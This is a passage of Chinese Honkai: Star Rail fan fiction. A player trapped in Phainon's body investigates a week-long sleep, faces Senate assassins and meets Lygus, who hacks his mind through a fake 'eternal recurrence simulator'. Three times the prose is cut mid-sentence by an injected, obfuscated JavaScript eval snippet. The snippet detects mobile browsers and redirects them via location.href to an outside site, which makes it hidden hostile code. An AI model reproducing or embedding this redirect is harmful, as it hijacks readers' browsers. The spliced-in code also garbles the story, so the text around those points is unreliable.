【白厄】恍然,拉开星旁边的椅子坐下,还没坐稳,一只毛茸茸的粉色精灵已经凑过来,有些紧张地绕着他飞了一圈,然后拍着胸脯,大大的松了口气。 “迷,迷迷(你没事,真是太好了)。”迷迷发出的音节只有一个,音节的语气各不相同,神奇的能让人听懂许多含义。 我能有什么事?界域定锚已经在翁法罗斯插下,我就算当场挂了也不会对计划推进产生影响。【白厄】一边心中嘀咕,一边对着可爱的妖精小姐笑了笑。 那刻夏忽然冷笑一声,道:“在你昏睡不醒的这段时间里,你的同伴可没少担心,结果本人反而毫无察觉吗?” 【白厄】第一反应是去看盗火行者,对方沉默如常,即使酷似昔涟的迷迷在面前飞来飞去也没做出任何反应,一副习惯了的样子……等等,习惯了? 好像哪里不太对劲。 【白厄】环视一圈,确定长桌边没有其他人,这才后知后觉地指了下自己,脑袋上冒出一个问号:“?” “对啊,你已经连续睡了一周了,要不是昏光庭院的医师说你应该是太累了在休息,识刻锚又在自动更新,我都想把黑塔摇过来给你诊断下了。”星向着迷迷招了招手,“给你介绍下,这是迷迷,这是瑟希斯……哦,你应该认识她们,不过介绍一下也没关系。” 我连续睡了一周,怎么可能?【白厄】只觉每个字都认识偏偏连起来听不懂了。 难道是开拓者和那刻夏在联手捉弄他?额,这么想好怪,那刻夏老师哪来这么多童心,学者的童心顶多花在大地兽上。 “星说得是真的,你已经一周没醒了。”丹恒托着厚厚一叠餐盘走过来,几条迷你水龙飞上飞下,看见餐盘歪了就去顶一下,顶过头就去另一边再顶一下,食物山就这样摇摇欲坠地抵达了名为餐桌的终点。 【白厄】习惯性地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048695|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手帮忙摆盘,摆着摆着终于反应过来丹恒到底说了什么,忍不住皱了皱眉,拉开状态栏检查了一番,没发现任何问题。 “看来你也不清楚原因。”那刻夏观察了一会儿,做出定论,“风堇之前对你做了细致的检查,结论是一切正常,不过我持保留意见。比起穿越时间溯回而上,误导身体检查的结果显然更简单。” 三月七正好从另一边走过来,她端着大堆甜品,忽然想起来什么似的,探头补充道:“对哦,之前在罗浮丹鼎司的时候,白露也说测不出他的真实情况,无论用什么手段,都只能得到一份健康的假数据。” 不是,这怎么还带回旋镖的,而且数据也不完全是假的吧,至少结论是真的……【白厄】挠了挠头,再度核查了一下血量和状态栏,确实没发现问题。 但他并未就此放心,表情反而凝重了些。 角色特性令他无须睡眠,仔细想想“昨天”的困意确实来得突然,上一次遇见这种情况还是被幻胧附身,但他当时多少保留了一些意识,不似现在这般毫无察觉。 【白厄】目光转了一圈,落在那刻夏身上,眼神微微一亮。 他三步并作两步走到学者身边,打字询问:“我没发现异常,但肯定有问题。您可以研究研究我吗?” 那刻夏看着消息,脸色微微一沉,没有立刻答话。 【白厄】愣了一下,瞬间意识到用词有误,挠了挠头,修改措辞:“希望那刻夏老师帮我找出隐患。我的情况特殊,检查时不必顾忌太多。” “第一,叫我阿那克萨格拉斯。”那刻夏定定地看了他一阵子,面无表情地说,“第二,在排查隐患之前,你要和我那烧傻了的学生一起,先去看看脑子。” 盗火行者迟钝地看过来:“?” 【白厄】:“……” 092 不是,我应该是个正常人吧,意识到措辞有误也立刻改了,到底是怎么在令人担忧这方面沦落到和卡厄斯兰那坐一桌的?那刻夏的起源是理性因子,应该不会因外表相似而随意移情啊。【白厄】拿叉子戳着面前的大地兽肉排,百思不得其解。 随着他心不在焉的戳戳戳,那刻夏的眼神变得越来越危险,关键时刻,星挺身而出,主动讲起这段时间发生的事情,转移了众人的注意力。 这一周相对平稳,可说的事情并不多。 其一是星与神秘的粉色精灵相遇,在精灵的帮助下,众人回到过去的悬峰城,令尼卡多利的理智回归,最终成功讨伐纷争。当然,手握剧本的无名客们都清楚,迷迷从某种角度来讲是昔涟的化身。 其二是再创世仪式暂缓,理性火种兜兜转转落到了那刻夏手上,他折腾几天,给自己折腾出一个名为瑟希斯的背后灵。 其三是悬峰城失守后,黑潮蔓延加快。盗火行者二话不说跑到前线砍了一圈,直到昨天才回来,以一己之力硬生生压制了黑潮的蔓延,可惜这治标不治本,树庭仍被缓慢侵蚀着。 “阿格莱雅最近都在为树庭迁徙善后,十分忙碌。风堇和我管理着一支奇美拉小队,救治了不少伤员。万敌和白厄昨天在高温浴池比赛,白厄不肯认输把自己泡晕过去了……”星绞尽脑汁的寻找话题,滔滔不绝地说到了那刻夏用餐结束。 【白厄】余光瞥见那刻夏放下餐具,快速把面前剩下的食物塞进嘴里嚼了嚼,然后擦了下嘴角,结束用餐,随时准备跟上那刻夏。 一直安安静静当摆件的盗火行者疑惑地看了他一眼。 “……算了,和我来。”那刻夏伸手扶额,微微摇头,有些无奈地说。 两人一前一后离开餐厅,盗火行者凝视了一会儿,慢慢转头看向无名客们。 “他……进食……很少?” “还好吧?正常人稍少的饭量,一直是这样的。”星回答。 “不对不对,你忘了他刚上车那天一个人吃光了整个超大份帕姆派?吓得列车长连夜吩咐大家去采购补给,咱还以为他是传说中的大胃王呢。”三月七说。 丹恒抵着下巴,思索道:“他吃饭似乎是凭兴趣,平时进食量正常偏少,遇到喜欢的食物可以一口气吃很多。无论吃什么、是多少,都不会影响到他的身体状态。” “额,丹恒,你连这个都记着呢?”三月七不禁后退两步,来到星的身边,压低声音说,“他不会也记得我弄乱智库文档的事情吧?” 星眨巴眨巴眼睛,一本正经道:“至少现在肯定想起来了。” 丹恒看了两人一眼,淡淡道:“乱翻智库文档不复原,星干了三次,三月做了两次,你们说的是哪天哪次?” “噫!”两小只害怕地抱在了一起。 盗火行者看了看无名客们,微微转头,凝视着那刻夏两人离开的方向,沉默下来。 18. 游戏机制百分百(十八) 093 一番排查之后,学者没发现任何问题,抽取两管金色的血液后,把碍手碍脚的大个子从临时实验室中赶了出去。 【白厄】漫无目的在奥赫玛内逛了逛,发现树庭迁徙与黑潮扩散这两件事并未令圣城动荡,曾经因强制迁徙生出的不满在黑潮袭击树庭后转变为歌颂,黄金裔的声望再度扬升。在阿格莱雅的安排下,人们各司其职,坊市繁荣和平,令人不经意间便遗忘了这是末世中的城池。 他在城内转了一圈,把无名客们插下的界域定锚全部点亮,在路过一处铁匠铺时,身躯高大的山之民叫住了他。 【白厄】不认识这位山之民,目光在四周微微一转,心中冒出一个猜想:在这个时间段里,和白厄相识,且有交流需求的山之民,是哈托努斯? 果然,山之民自水中拔出一把大剑粗坯,展示给【白厄】看,询问他的意见。 “我不是你认识的那个人,但这件事,我应该能帮上忙。”【白厄】把手机亮给山之民看了看,随即伸手一握,召出侵晨。 哈托努斯放下大剑粗坯,伸手轻抚侵晨大剑仔细观察,片刻后,工匠略显不舍地松开手,向着【白厄】点点头,郑重感谢后握紧铁毡,身后似乎燃烧起熊熊斗志。 不用谢,这本就是您未来的作品。【白厄】对着工匠笑了笑,收起侵晨,转身离开。 忽然,空荡荡的小地图边缘冒出了几个红点。 【白厄】下意识以为是怪物入侵,转念又想到整个圣城都在阿格莱雅的掌控中,倘若黑潮真的进入城内,金线不可能没有反应。 他装作无意地向着红点方向走了走,发现对方始终和他保持着一定距离,心中逐渐有了定论。地图上敌我双方的标识和【白厄】的个人认知有关,他无法欺骗自己,所以在奥赫玛中,令他发自内心地认为是敌人的,也只有元老院凯尼斯手下的那群刺客“清洗者”了。 顺带一提,也许因为凯尼斯在玩家经历的剧情里是NPC,【白厄】对她的认知也是NPC,所以这家伙竟然不会在地图上作为红点显示出来。 这几个人是来盯梢的?还是来试探我的?【白厄】并未表露异样,一边靠近水果摊假装挑选水果,一边低头摸出手机给同伴们发了条信息。 【白厄】:有人跟踪,我出城会会他们。 丹恒:注意安全。 星:报点兄弟,我去准备麻袋。 三月七:奥赫玛里也有人跟踪?哦哦我懂了,是不是你提到的元老院里那个不干人事的老女人指使的,叫萝卜丝来着? 【白厄】:不必担心,我打算观察下黑潮,晚点回来。 丹恒:不要轻敌,还没找到你昏睡这么久的原因。 说得对,虽然自衬有复活和传送在手很难翻车,但还是谨慎为好……【白厄】思索两秒,在小群里发送了离开奥赫玛前的最后一个定位,并报备了自己的目的地。 夜幕之下、城池之外,金丝逐渐稀少,万帏网变得十分不稳定。屏幕闪烁了一下,最后两条新消息提示音叮当响起。 星:坐标XXX。 星:金织女士给我发了救援城外住民的信息,那里被黑潮侵蚀,和你的目的地很近,搭档,替我去看一下吧。 094 圣城之外,夜色之下。 自称沐浴金血、专门刺杀黄金裔的“清洗者”很快躺了一地。 【白厄】看了看还差两颗火种激活的终结技,微微摇头,比起仙舟武弁、纷争眷属和黑潮怪物,在化为现实的崩铁宇宙里,这帮清洗者也太菜了一点——解决掉他们时,靠受击增加的火种甚至没满十二颗。 仅此而已也敢跳出来截杀他,幕后主使是没有脑子吗?想想翁法罗斯毁灭前还在内斗的凯尼斯,还真说不定。【白厄】心想。 处理掉清洗者后,他专心向着坐标处前进,临近坐标地点时又放慢脚步,召出侵晨,观察着小地图,十分谨慎的慢慢靠近。 夜色下的残垣断壁一片寂静,没有人声,也没有代表怪物的红点,一切都空空荡荡。 【白厄】拨开半块残存的布帘,看向室内:两大一小三具残骸依偎在一起,他们的身体被黑潮侵蚀,呈现出半怪物半人类的状态,依偎的姿势有些扭曲,中间有什么银白的东西在微微反光。 他俯下身,摸出了一柄残缺的银白锋刃。 他们并非等待救援的住民,他们已经死去很久了。 于是,白发蓝眼的青年垂下眼帘,伸手按住心口,无声叹息。 啪、啪、啪,寂静的夜色里忽然响起掌声。 一道平和优雅、略带机械音的声音响了起来:“多么可悲啊,他在被黑潮侵蚀到失去神智之前,以强大的意志夺回理智,主动杀掉了最亲近的家人,又在家人的怀抱中选择了自杀。可惜,慈悲的锋刃最终埋葬在夜色中,除了我,也只有你刚刚听说了这段经历。” 【白厄】猛然回头,看到了背负双手、悠闲散步般的智械,蓝瞳瞬间冰冷下来。 来古士伸手抚胸,弯腰行礼:“终于见面了,阁下,您为这个世界、为翁法罗斯,都带来了不可思议的变数啊。” “故意引我来,你想做什么?”【白厄】摸出手机输入文字,但并未展示给来古士看,而是发给了星,因为他知道对方能看见。 来古士果然没问他都打了什么字,只是故作疑惑地询问道:“我只模仿她发了两句话,即使如此,也被看出了破绽吗?” 因为星一般直呼阿格莱雅的名字,不会叫我搭档,非必要也不会放弃手中的任务……破绽太多了,但这些又何必向你解释?【白厄】并未回答。 “原来如此,明知是陷阱还来赴约,只是为了排除‘这里真的有住民受困’的可能性,不愧是救世主啊。”来古士真诚地赞叹道。 【白厄】微微握紧侵晨,开始思索要不要遵循传统帮来古士掉头。 “呵呵,阁下何必如此急躁。”来古士站直身体,语气温和,“正如我所说,他会杀死被黑潮侵蚀的亲人然后自杀,一次这样,百次这样,千万次这样,在33550336次轮回中,次次如此,毫无例外。因为这就是被程序编写的既定事项,是必将上演的故事,是死板的、令人绝望的、锚定了未来的命运。” 【白厄】的眼神微微一动。 “翁法罗斯是被程序编写定死的世界,再没有人比卡厄斯兰那更清楚这个世界的悲剧有多么无可更改,而在翁法罗斯之外,有一尊星神锚定了整片寰宇的可能性,将寰宇变成了更大的翁法罗斯,祂就是智识的星神,博识尊。” 来古士展开双臂,如吟唱诗歌的诗人般发出感叹。 “多么可悲啊!生命在诞生前已注定了死亡的方式,无论多伟大的发明、多绚烂的文明,都不过是被框定了轨迹的戏剧,众生不过戏幕上载歌载舞的人偶,而那毫无慈悲的星神高高在上,欣赏着人子们的悲剧。 “你既已知晓此事,更有能力掀开粉饰骗局的面纱,为何不随我来,踏出这片洞穴,将剑刃对准智识,去打碎那可悲的命运?” 智械在夜色的身影是如此真诚、如此痴狂,他慷慨激昂地讲述着这个故事,仿佛最优秀的演说家,在聚光灯下挥洒汗水。 可惜,唯一的观众并未被牵动情绪。 【白厄】面无表情地看着来古士,在手机上输入一行字:“翁法罗斯的悲剧,难道不是你一手促成的吗?” 于是那身影陡然平静。 来古士淡然地背负双手,道:“和寰宇相比,翁法罗斯又算什么?你,你们,甚至我,只要有一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048696|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能去打破智识的封锁,全数化作飞灰又有什么关系?” 【白厄】的情绪也很平静,慢慢打出字符:“我并非天才,也不是救世主,作为一名普通人,我既无法与罪魁祸首合作,也不认同替无辜者擅自做出决定、选择牺牲的人。倘若你能靠自己击败博识尊,而非牵扯无辜,也许我会很佩服你。” 来古士低低地笑了起来,反问道:“我不正是只靠自己的努力,向博识尊挥剑?阁下,你该不会忘记了,翁法罗斯只是个虚假的世界吧?” 【白厄】微微一顿,注视着来古士,最后编辑出一条信息:“倘若你是这么认为的,那我们没什么好说的了。” “看来,协商失败了。”来古士遗憾地叹了口气,“阁下,无论你付出了什么代价,又是如何做到如今的一切,我都感谢你为翁法罗斯带来了变数。但你若一直执迷不悟,我就只能用更粗暴的手段,让你认清自己的身份了。” 一道剑光闪过,来古士的头颅掉在地上,咕噜噜滚远。 【白厄】并不相信自己能如此简单地干掉来古士,这个举动更多是发泄之举,可砍掉来古士的脑袋后,四周一片寂静,似乎无事发生。 他微微皱眉,几步走近来古士的脑袋:破损的眼罩下,深红的眼瞳正闪烁微光,眼瞳中倒映着白发青年的身影,和一个在他背后悄然伸手的智械。 【白厄】心中一紧,毫不犹豫地抡起大剑向身后砍去,但身后空空荡荡,毫无人影。 不对,是误导……他心中闪过这个念头,感觉一点冰凉点在了他的后脑上。 “别害怕,只是睡一觉而已。令表层意识进入休眠状态,然后,就像曾经那样,将所有的‘记录’都向我敞开吧。”来古士轻声说,“……铁墓。” 095 【警告!检测到未知入侵……】 【清除失败,提升防御等级】 【警告!检测到未知入侵,密钥匹配错误!】 【清除失败,算力临时征调中……】 【……】 【未知入侵……警告……权限冻结中……】 【权限已冻结,正在推演反制措施……】 【推演中……】 【“自我”进入保护性静默状态】 096 玩家挣扎着从噩梦醒来,看着熟悉的天花板,慢慢冷静下来。 “呼……好奇怪的梦,我怎么梦见好不容易刻律德菈卡池开了,结果一百六十抽差点保底吃满才抽出零魂,那不是我抽白厄时的经历吗?人怎么能连续两次这么倒霉呢哈哈哈……” 他摸出手机,登录账号,看着角□□面和剩余星琼陷入沉思。 “呜呜呜这个倒霉蛋原来是我啊。” 玩家悲伤了一会,坚强地哄好了自己,从床铺上爬了起来。 忽然,好友列表里的一个陌生头像跳动起来,对方发来一个看着就很小广告的链接,用仿佛角色扮演般的古典措辞发来一大堆消息。 什么这是基于崩铁正剧开发的剧情模拟小程序,什么这是基于你的认知进行的演算结果一定真实可信,什么测试完赶紧把实验记录发给他…… “这人谁啊,我什么时候加了他好友?”玩家迷惑地晃了晃脑袋,本想随手拉黑,却一眼被小程序的标题吸引了目光。 ——永劫回归模拟器。 “……这标题取得也太低调了,不玩崩铁谁看得懂?不过测试下应该也没问题吧,反正都通过防火墙检测了。”玩家只觉这串字符散发着无穷的吸引力,一边飞快地说服了自己,一边伸手点击小程序。 短暂的卡顿后,屏幕一黑,而后金色自下而上倒流,黑红色的方块闪烁着、躁动着,汇聚成了一行文字。 “永劫回归#1,开始……” 19. 游戏机制百分百(十九) 097 玩家并不着急开始游戏,而是先稍微研究了下游戏布局。 美术失踪,优化卡手,一个简单的文字模拟器竟然找不到菜单也没有退出键,那个陌生人发来的不会是半成品吧?他心中批判着,点击屏幕进入模拟器。 黑色的底幕上,一行行带着流淌质感的金字逐渐浮现。 【永劫回归#1:你与昔涟告别,借助昔涟的灵魂令*演算回退*。你觐见凯撒,说服黄金裔放弃再创世,独自击杀泰坦容纳火种,直至黑潮将一切吞没,你再度启程。】 【永劫回归#1:你什么都没改变。】 金血般的字迹自顾自流淌,一切都和屏幕外的玩家无关。 他愣了一会,忍不住拉出好友清单,向小程序的开发者投诉:“这游戏好像是全自动的,我根本干涉不了,你是打算让我一直看文本吗?” 陌生好友:“并非如此,这是完全基于你的认知进行的推演,是最真实的*记录*,我只是复现了这一幕。” 陌生好友:“阁下,你也觉得这徒劳的挣扎很无聊吗?” 玩家忍不住皱眉。 虽说文字只有寥寥几句,但这代表的可是一次永劫回归,是卡厄斯兰那独行的、超过千年的时光,用“无聊”来形容未免太过轻佻……可他为什么有如此强烈的感触?对玩家来说,这个无法操控、无法改变的小程序,似乎确实很无聊? 玩家甩甩脑袋,没有回复陌生好友,点击屏幕开启下一次永劫回归。 【永劫回归#2:你借助昔涟的灵魂令*演算回退*。你觐见凯撒,阐明翁法罗斯的真相与来古士的身份,律法的半神以生命为代价冻结了来古士的大部分权限,你对黑潮进行反编译,进攻核心防火墙。】 【永劫回归#2:你攻击防火墙失败,来古士恢复管理员权限,黑潮卷土重来。】 【永劫回归#2:你什么都没改变。】 玩家:“……?” 是不是哪里不太对,模拟器里的卡厄斯兰那知道的也太多了吧?不知道的还以为玩家穿越进去了呢……等等,不对! 基于我的认知进行的推演——这个简陋的小程序竟然能隔空读取玩家的认知? 奇怪的割裂感在心中升起,玩家想了半天也没抓住异常点,反而渐渐想不起来自己为什么如此惊讶,只好将注意力放回模拟器上。 他思索起来。 倘若剥离个人情绪,从玩家视角看待这个模拟器,这次永劫回归中的决策有些失误:其一是太早使用了律法半神封锁管理员权限的手段,其二是未能积蓄足够的力量打破防火墙,未能抓住刻律德菈以自身牺牲创造的机会。 可是,数据世界的生命真能打破“高维”的封锁吗?即使律法半神封锁了来古士的权限,在没有外部配合的情况下,再创世的进程仍然无可更改。 而来古士以神礼观众自居,在这种无人打扰的情况下,暂时的权限封锁于他无关紧要。付出的牺牲与收获的利益是如此不均等,更何况生命本就不该被衡量。 玩家扶额静默了一会,感觉自己的思绪有些乱,原本打算冷静地分析一下的,个人的情感却不由自主的混入其中。 不过有一件事倒可以确认,即之后的轮回里要暂且对刻律德菈隐瞒来古士的身份,如实相告会触发“律法半神的牺牲”事件,因为骄傲的君主会为自己的理想付出一切。 098 【永劫回归#3:你借助昔涟的灵魂令*演算回退*。你离开奥赫玛,在翁法罗斯的大地上游荡。疯狂的泰坦与交战的城池令一切陷入混乱,而黑潮就在混乱中吮吸营养,以死去的魂灵为养料成长。】 【永劫回归#3:你并未参与人与人的战争,一路击杀黑潮造物,拯救了一座将要燃烧的城市。城中人为你献上鲜花与秘酿,捷足的猫儿也为你停留。】 【永劫回归#3:三百年后,黎明机器熄灭,圣城奥赫玛陷落。人们的悲泣与惨叫交织成噩梦的乐章,神礼观众向你发问——以拯救之名带来的灾厄,聆听起来是否格外悦耳?】 【永劫回归#3:你什么都没改变。】 玩家差点摔手机。 一阵怒火自心间涌起,他恨不得顺着网线爬进模拟器里和来古士打一架,然后再顺着网线把小程序的编写者打一顿。 出于善意的拯救却换来如此惨烈的后果,这不是编剧的恶意是什么?我明明知道黎明机器的谎言,也知道赛飞儿的故乡是多洛斯,拯救这里后怎么可能想不到因此引发的蝴蝶效应,并为诡计半神的诞生作出修正? 突出一部分信息,忽略一部分信息,这也能算是基于“我”的认知进行的推演吗? 玩家生气地拉黑了陌生好友,点击进入下一次轮回。 【永劫回归#4:你借助昔涟的灵魂令*演算回退*。你离开奥赫玛,击退黑潮,延缓了多洛斯的覆灭。人们为你献上祝福,你却找到猫儿述说自己的请求,请求她成为诡计的半神,肩负起拯救翁法罗斯的命运。】 【永劫回归#4:继任诡计半神的仪式失败了,尚未磨砺的心灵、并非自我的意愿,都是压垮成功之路的滚石。你无法斥责落泪的少女,无法述说尚未发生的谎言,等到诡计半神诞生时,一切都无法挽回。】 【永劫回归#4:三百年后,黎明机器熄灭,圣城奥赫玛陷落。你一次次击退黑潮,一次次杀空怪物,却仍无法挽回渐渐陷落在夜色中的世界。】 【永劫回归#4:你什么都没改变。】 玩家沉默不语。 他闭上眼睛,冷静了片刻,开启下一次轮回。 【……】 【永劫回归#133:你借助昔涟的灵魂令*演算回退*。你离开奥赫玛,击退黑潮,延缓了多洛斯的覆灭。人们为你献上祝福,你却在欢呼中沉默。】 【永劫回归#133:狂欢落幕之后,你对赛法利娅述说着不知所谓的呓语:将要远行的风儿啊,你大可以痛恨我这个无能之人,因为之后的每一次我都会随黑潮而来,见证多洛斯的毁灭。英雄不该衡量生命,而我,果然并非此世的救主。】 【永劫回归#133:你什么都没改变。】 落在屏幕上的指尖微微颤抖了一下,很快恢复稳定。 【永劫回归#134:你借助昔涟的灵魂令*演算回退*。你见证了多洛斯的覆灭。圣城在黎明机器的照耀下辉光永恒,你却被这光芒(火焰)灼烫,你看到一片片幻影,(焦黑的)人们为你献上鲜花与秘酿,向你献上最真诚的祝福(诅咒)。】 【永劫回归#134:你什么都没改变。】 099 玩家放下手机,决定缓口气再继续。 明明只是个简陋的小程序,明明只是寥寥几行文字,却轻易地牵扯着他的思绪,令他的情绪激荡起伏——还都是不好的情绪! 冷静,冷静下来,这种状态继续下去也只是进行一次毫无改变的轮回……不行还是好气,下次轮回不要只是砍头,把来古士砍成十八段好了。 他放空大脑静静等待了一会儿,确认情绪消解得差不多,才再度思考起来。 玩到这个地步,编写者的恶意已经毫无遮掩了。名义上是崩铁正剧的if线推演,却并非他所期盼的美好走向,而是一个看起来更糟糕、更无力的推演方向。 玩家并未泄气,反而因此生出了逆反心理。 越是如此,他越是要看看,这场旅途的尽头是什么样子。 玩家不必体验亲手弑杀无辜者的苦痛,不必独行过漫长的时光,不必忍受火种的灼烧,所以他可以用普通人的毅力坚持下去。 只要屏幕外的他不放弃,模拟器中的未来就不会终止,翁法罗斯也不会坠入毁灭的终局。 100 【永劫回归#1000:你借助昔涟的灵魂令*演算回退*。你四处追杀黑潮,独行于黄金裔之外,再在终局时举起屠刀,夺取火种。温热的金血已不再令你动摇,对愧疚与苦痛的感知也渐渐变得麻木,唯有心中的怒火越燃越旺。】 【永劫回归#1000:再一次的,你抽出流淌着金血的锋刃,凝视着推动滚石的若虫,意识到自己不再需要这幅形貌带来的优势,相似的面容只会给被杀戮的无辜者带去更多的怀疑、震惊与痛苦。】 【永劫回归#1000:你戴上面具,披上遮掩身形的黑袍,走入下一个轮回。】 【永劫回归#1000:你什么都没改变。】 刚涌起斗志、准备大干一场的玩家:“?” 他分屏调出通讯录,把陌生好友从黑名单里放了出来,发过去一条信息:“模拟器是不是有bug,轮回次数忽然从134跳到了1000。” 陌生好友秒回:“跳过?你是这么认为的啊。阁下,事实并非如此,我只是把相似度98%以上的‘记录’进行整合,因为这些‘记录’并不具备逐条阅读的价值。” 玩家盯着消息看了两秒,只觉心头无名火起,反手把陌生好友再次拉黑。 金色自下而上倒流,黑红色的方块拼凑出标题,而后带着流淌质感的金字一行行浮现。 【永劫回归#100000:你借助昔涟的灵魂令*演算回退*。你四处追杀黑潮,独行于黄金裔之外,再在终局时举起屠刀。毫无不同的发展,毫无不同的死亡,毫无不同的失败……极度相似的经历几乎令人混淆了过往。】 【永劫回归#100000:神礼观众对你叩问——囚徒啊,你是否已经放弃寻找新的转机,只是一次又一次地拖延着必将到来的终点。何不承认你的失败,承认你已沉浸在自我的幻想中,将一世又一世的人们当作薪材,逼迫他们与你一同燃烧?】 【永劫回归#100000:你细细地将来古士切作臊子,将其拌进了红土饲料。】 【永劫回归#100000:你什么都没改变。】 又跳过了,而且跳跃幅度非常大……玩家微微皱眉,甚至没太关注模拟器中“你”那非常美好的精神状态,犹豫了一会才点击屏幕,开启下一次轮回。 【永劫回归#400000:你借助昔涟的灵魂令*演算回退*。四百万次轮回,4800000颗火种被容纳,火种在熊熊燃烧,虽然令人灼痛难忍,却并未对这具身体造成不可逆的毁伤。于是你恍然明悟——这是一场一个人的旅途,不必拖他人下水,也没有逃避的余地,你将走过千万次轮回,从一而终。】 【永劫回归#400000:你什么都没改变。】 玩家看着屏幕上的结语,愣了一会,才反应过来自己好像看到了什么特别的内容。他小心地滑动屏幕,翻看着第四百万次永劫回归的记录。 “等等,这是什么意思?躯壳完全能承受住火种,意思是中途不必换人了?” 玩家的表情迅速变得鲜活起来,心中吐槽:“终于见到了一个还算是人的设定,藏得这么深得多无聊的人才能发现……不会烧毁的身体,虽然可能性有很多,但我的第一反应怎么会联想到游戏建模?” 玩家抱着手机陷入沉思。 他感觉自己似乎忽略了很多事,很多常识,可惜有些事一仔细思考就断片,吃过几次亏后他有意控制了自己的思绪,只是一点一滴地积累疑惑,以此绕过“清除机制”。 “先知先觉的信息,不会毁坏的躯体……这设定有些眼熟啊,那个无良编写者不会是按‘游戏角色白厄’的设定做的模拟器吧?” 大脑中的思路瞬间通畅了不少,玩家心中一动,发觉这里面有许多可以利用的地方。 “不知道复活机制还在不在,可惜不能尝试一下,万一被当前轮回白厄干掉后,因为角色特点没能传递火种和记忆,也没能复活,那模拟器就直接进结局了。 “……好,加油,不能放弃,可尝试的次数还很多。如果最后真的什么都做不到,至少要把永劫回归拖延到开拓者抵达那次,等把负世职责交出去,然后燃烧所有火种和毁灭爆了,到时候正好试验一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他确实产生了在终点之前制造一个幻梦的念头,模拟器因此在第33550335次永劫回归中推演出了这样的内容。可惜当一行行文字落于实际,他并未因此生出哪怕一丝的温暖与欢欣,反而觉得内心空荡的厉害。 玩家沉默着开启了下一次轮回。 【永劫回归#33550336:你借助昔涟的灵魂令*演算回退*。】 【永劫回归#33550336:你见证了多洛斯的覆灭,你见证了第一次逐火之旅的失败,你见证浪漫的半神自末日中守望圣城千年,而诡计的半神远走他处,以谎言背负黎明。】 【永劫回归#33550336:悬峰的王储被投入冥海,死荫的侍女自雪原流浪,千片的圣女在他乡凋零,树庭的学者解明真理,天空的医师挽救生命……】 【永劫回归#33550336:你常常站在最高的悬崖上仰望天空,希冀能看见一道流火落入这个世界。直到纷争覆灭、天空陨落,永恒的圣城被夜色吞没,你终于收回目光。】 【永劫回归#33550336:你阻止了再创世,一切如常发生。】 101 玩家盯着最后一行文字,感到有些眩晕。 第33550336次永劫回归,星穹列车没有抵达翁法罗斯……他们在路上耽搁了时间?选择了其他的目的地?或者,开拓永远不会抵达这个世界了? 仿佛一只冰寒的手掌轻轻攥住心脏,空荡荡、冷冰冰的情绪向上蔓延,玩家怔愣了一会,闭眼又睁开,迅速收拾好了心中纷乱的情绪。 他把陌生好友从黑名单放出来,点进输入框:“你把星穹列车删除了?” 陌生好友依然秒回:“阁下,您的问题令我困惑。我说过了,这是基于你的认知进行的推演,我并未出手干涉。” 陌生好友:“你为核心记录设置的保护程序非常完美,代码优美而精确,在未取得许可的情况下,即使是我,一时半会也无法成功入侵。所以我只好做出一些误导,模拟曾经的情景,请你主动把历史记录展示给我看。” 陌生好友发来一个叹气的可爱表情,文字却冰冷而理智:“可惜,你保留的心智数据比我预估得多,导致推演之初就出现了一些偏差,不过从结果来看并无大碍。现在,只剩下最后一个步骤了。” 通讯界面微微闪烁了一下,似乎有奇怪的黑红色方块伴随着滋滋异响流淌而下,下一秒一切又恢复正常。 错觉吗?还是……念头一闪而过,玩家选择相信自己,毫不犹豫地关掉通讯界面,放下手机,慢慢向着门边退去。 叩、叩叩。 敲门声忽然响起,智械含笑的声音传来:“不要害怕,不要戒备,我只是想帮你找回真正的自己。解除掉那个欺骗自我认知的程序吧,好好思考那些异常的细节,阁下,你现在的面容,确实是你的真实样貌吗?” 一面镜子凭空浮现,镜中的青年白发蓝眼,表情茫然。 这当然不是他的真实模样,这是白厄,是卡厄斯兰那,唯独不是玩家,所以那个智械在嘀嘀咕咕地说着什么莫名其妙的东西?不,不对!他为什么会顶着白厄的样貌,从他醒来就是这样,点开模拟器前就已经是这样了吗? 滋……滋滋……刺啦刺啦…… 黑红色的数据方块在视野内闪动着,熟悉的场景逐渐变得虚幻起来,显露出一片黑暗的空无。于是玩家忽然想起来,他从最开始就躺在这空无之中,拿着系统手机隔着透明屏障与来古士交流,所谓的天花板和卧室不过是只存在于他眼中的幻觉。 叩、叩叩。 来古士再次伸手敲了敲透明的屏障,发出敲门般的声音。 智械感叹道:“即使心智动摇到这种程度,防御机制依然坚不可摧,看来你在漫长的时间里迭代出了最合适自己的代码,甚至超出了我这个‘创造者’的预料,真是……令人欣喜啊。” 看清真实场景的瞬间,仿佛有闪电劈开了玩家脑海中的迷雾,记忆翻涌而来。 20. 游戏机制百分百(二十) 102 他记起了前因后果。 